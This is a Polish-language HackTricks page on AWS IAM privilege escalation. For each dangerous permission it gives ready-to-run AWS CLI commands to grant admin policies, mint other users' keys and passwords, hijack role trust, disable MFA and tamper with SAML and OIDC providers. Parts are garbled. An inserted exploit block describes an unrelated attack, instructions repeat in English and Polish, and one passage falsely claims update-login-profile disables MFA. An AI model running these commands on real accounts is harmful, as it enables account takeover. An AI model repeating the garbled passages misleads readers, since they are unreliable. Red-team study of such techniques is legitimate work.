AWS - IAM Privesc

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

IAM

Aby uzyskać więcej informacji na temat IAM, sprawdź:

pageAWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Nadaje możliwość tworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia iam:SetDefaultPolicyVersion za pomocą flagi --set-as-default. Pozwala to na definiowanie niestandardowych uprawnień.

Polecenie wykorzystujące podatność:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Wpływ: Bezpośrednio zwiększa uprawnienia, umożliwiając wykonanie dowolnej akcji na dowolnym zasobie.

iam:SetDefaultPolicyVersion

Pozwala zmienić domyślną wersję polityki IAM na inną istniejącą wersję, potencjalnie zwiększając uprawnienia, jeśli nowa wersja ma więcej uprawnień.

Polecenie Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Wpływ: Pośrednie eskalowanie uprawnień poprzez włączenie większej liczby uprawnień.

iam:CreateAccessKey

Umożliwia tworzenie identyfikatora klucza dostępu (access key ID) oraz tajnego klucza dostępu (secret access key) dla innego użytkownika, co prowadzi do potencjalnego eskalowania uprawnień.

Wykorzystanie:

aws iam create-access-key --user-name <target_user>

Wpływ: Bezpośrednie eskalowanie uprawnień poprzez przejęcie rozszerzonych uprawnień innego użytkownika.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Umożliwia tworzenie lub aktualizowanie profilu logowania, w tym ustawianie haseł do logowania do konsoli AWS, co prowadzi do bezpośredniego eskalowania uprawnień.

Wykorzystanie dla tworzenia:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Wykorzystanie podatności Update:

<details>
<summary>Exploit</summary>

### Opis

Podatność Update w usłudze AWS IAM umożliwia eskalację uprawnień, umożliwiając atakującemu uzyskanie większych uprawnień niż mu przysługują.

### Kroki

1. Zaloguj się do konsoli AWS IAM jako użytkownik z uprawnieniami do zarządzania rolami.
2. Przejdź do sekcji "Roles" i wybierz rolę, której uprawnienia chcesz eskalować.
3. Kliknij przycisk "Edit trust relationship" i zmodyfikuj zaufanie roli, dodając nowe źródło zaufania.
4. Wprowadź ARN atakującego konta AWS jako nowe źródło zaufania.
5. Zapisz zmiany i wyloguj się z konta atakującego.
6. Zaloguj się ponownie do konta atakującego i przejdź do konsoli AWS IAM.
7. Wybierz rolę, której uprawnienia zostały zmodyfikowane.
8. Kliknij przycisk "Switch Role" i wprowadź ARN roli, której uprawnienia chcesz eskalować.
9. Zaloguj się do roli i sprawdź, czy uzyskałeś większe uprawnienia.

### Zabezpieczenia

Aby zabezpieczyć się przed tym atakiem, należy:

- Regularnie monitorować i analizować dzienniki zdarzeń AWS IAM w celu wykrycia podejrzanej aktywności.
- Ograniczyć uprawnienia użytkowników i ról do niezbędnego minimum.
- Regularnie przeglądać i aktualizować zaufanie roli, aby zapobiec nieautoryzowanym zmianom.
- Włączyć wieloskładnikowe uwierzytelnianie (MFA) dla kont użytkowników.
- Regularnie aktualizować i łatać oprogramowanie AWS IAM, aby uniknąć wykorzystania znanych podatności.

</details>

Uwaga: Wykorzystywanie podatności bez zgody właściciela systemu jest nielegalne. Upewnij się, że masz odpowiednie uprawnienia i zezwolenia przed przeprowadzeniem jakiejkolwiek aktywności związanej z penetracją testową.

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Wpływ: Bezpośrednie eskalowanie uprawnień poprzez zalogowanie się jako "dowolny" użytkownik.

iam:UpdateAccessKey

Pozwala na włączenie wyłączonego klucza dostępu, co potencjalnie prowadzi do nieautoryzowanego dostępu, jeśli atakujący posiada wyłączony klucz.

Wykorzystanie:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Wpływ: Bezpośrednie eskalowanie uprawnień poprzez ponowne aktywowanie kluczy dostępu.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Umożliwia generowanie lub resetowanie poświadczeń dla konkretnych usług AWS (np. CodeCommit, Amazon Keyspaces), dziedzicząc uprawnienia powiązanego użytkownika.

Wykorzystanie dla tworzenia:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Wykorzystanie dla Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Wpływ: Bezpośrednie eskalowanie uprawnień w ramach uprawnień usługi użytkownika.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Pozwala na dołączanie polis do użytkowników lub grup, co bezpośrednio eskaluje uprawnienia poprzez dziedziczenie uprawnień dołączonej polisy.

Wykorzystanie dla użytkownika:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Wykorzystanie dla grupy:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Wpływ: Bezpośrednie eskalowanie uprawnień do wszystkiego, co polityka przyznaje.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Umożliwia dołączanie lub dodawanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednie eskalowanie uprawnień poprzez przyznanie dodatkowych uprawnień.

Wykorzystanie dla roli:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Wykorzystanie dla polityk Inline:

Inline policies are policies that are directly attached to an IAM user, group, or role. These policies are defined within the same JSON document as the user, group, or role, rather than being managed separately. This makes them a potential target for privilege escalation.

Polityki Inline to polityki, które są bezpośrednio dołączone do użytkownika IAM, grupy lub roli. Polityki te są definiowane w tym samym dokumencie JSON co użytkownik, grupa lub rola, zamiast być zarządzane oddzielnie. Sprawia to, że są potencjalnym celem eskalacji uprawnień.

To exploit an inline policy, you need to have the necessary permissions to modify the policy document. Once you have access to modify the policy, you can add additional permissions to the policy that grant you higher privileges.

Aby wykorzystać politykę Inline, musisz mieć odpowiednie uprawnienia do modyfikacji dokumentu polityki. Po uzyskaniu dostępu do modyfikacji polityki, możesz dodać dodatkowe uprawnienia do polityki, które przyznają Ci wyższe uprawnienia.

Here are the steps to exploit an inline policy:

Oto kroki do wykorzystania polityki Inline:

  1. Identify the IAM user, group, or role that has an inline policy attached.

  2. Determine the permissions granted by the existing inline policy.

  3. Gain access to modify the policy document.

  4. Add additional permissions to the policy document that grant you higher privileges.

  5. Save the modified policy document.

  6. Test the modified policy to ensure it grants you the desired privileges.

  7. Exploit the higher privileges granted by the modified policy.

  8. Zidentyfikuj użytkownika IAM, grupę lub rolę, która ma dołączoną politykę Inline.

  9. Określ uprawnienia przyznane przez istniejącą politykę Inline.

  10. Uzyskaj dostęp do modyfikacji dokumentu polityki.

  11. Dodaj dodatkowe uprawnienia do dokumentu polityki, które przyznają Ci wyższe uprawnienia.

  12. Zapisz zmodyfikowany dokument polityki.

  13. Przetestuj zmodyfikowaną politykę, aby upewnić się, że przyznaje Ci pożądane uprawnienia.

  14. Wykorzystaj wyższe uprawnienia przyznane przez zmodyfikowaną politykę.

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Możesz użyć polityki takiej jak:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Wpływ: Bezpośrednie eskalowanie uprawnień poprzez dodawanie uprawnień za pomocą polityk.

iam:AddUserToGroup

Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.

Wykorzystanie:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Wpływ: Bezpośrednie eskalowanie uprawnień do poziomu uprawnień grupy.

iam:UpdateAssumeRolePolicy

Pozwala na zmianę dokumentu polityki przyjmowania roli roli, umożliwiając przyjęcie roli i jej powiązanych uprawnień.

Wykorzystanie:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gdzie polityka wygląda następująco, co daje użytkownikowi uprawnienie do przejęcia roli:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Wpływ: Bezpośrednie eskalowanie uprawnień poprzez przejęcie uprawnień dowolnej roli.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Umożliwia przesyłanie klucza publicznego SSH w celu uwierzytelnienia w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnego pośredniego eskalowania uprawnień.

Wykorzystanie dla przesyłania klucza SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Wykorzystanie do dezaktywacji MFA:

To exploit the MFA deactivation vulnerability, follow these steps:

  1. Identify a user with the necessary IAM permissions to modify MFA settings. This user should have the iam:UpdateLoginProfile permission.

  2. Use the update-login-profile command to disable MFA for the targeted user. This command can be executed using the AWS CLI or SDKs.

  3. Verify that MFA has been successfully disabled by attempting to log in as the targeted user without providing the MFA code.

By exploiting this vulnerability, an attacker can bypass the MFA protection and gain unauthorized access to the targeted user's account. It is crucial to regularly review and restrict IAM permissions to prevent such privilege escalation attacks.

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Wpływ: Pośrednie eskalowanie uprawnień poprzez umożliwienie dostępu do CodeCommit lub wyłączenie ochrony MFA.

iam:ResyncMFADevice

Pozwala na resynchronizację urządzenia MFA, co potencjalnie prowadzi do pośredniego eskalowania uprawnień poprzez manipulację ochroną MFA.

Polecenie Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Wpływ: Pośrednie eskalowanie uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Z tymi uprawnieniami możesz zmieniać metadane XML połączenia SAML. Następnie, możesz wykorzystać federację SAML do logowania się z dowolną rolą, która mu ufa.

Należy zauważyć, że legitymowi użytkownicy nie będą w stanie się zalogować. Jednakże, możesz uzyskać XML, aby móc wstawić swoje dane, zalogować się i przywrócić poprzednie ustawienia.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Narzędzie zdolne do generowania metadanych SAML i logowania się z określoną rolą

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Niepewny co do tego) Jeśli atakujący ma te uprawnienia, może dodać nowy Thumbprint, aby móc zalogować się do wszystkich ról ufających dostawcy.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated